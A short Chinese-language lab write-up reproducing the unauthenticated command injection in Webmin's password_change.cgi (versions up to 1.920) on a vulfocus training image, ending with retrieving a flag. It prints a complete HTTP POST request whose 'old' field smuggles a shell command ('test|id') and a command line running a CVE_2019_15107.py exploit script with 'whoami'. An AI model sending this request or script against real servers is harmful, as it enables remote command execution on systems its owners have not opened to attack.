Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。

0x01 漏洞环境

vulfocus

0x02 漏洞版本

Webmin<=1.920

0x03 漏洞复现

vulfocus下发镜像

Untitled

https访问。

https://192.168.10.214:22319/

Untitled

请求:

POST /password_change.cgi HTTP/1.1
Host: 10.10.20.166:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: <https://10.10.20.166:10000/session_login.cgi>
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

Untitled

referer:

Untitled

python2 CVE_2019_15107.py <https://192.168.10.214:22319> whoami

Untitled

查看flag。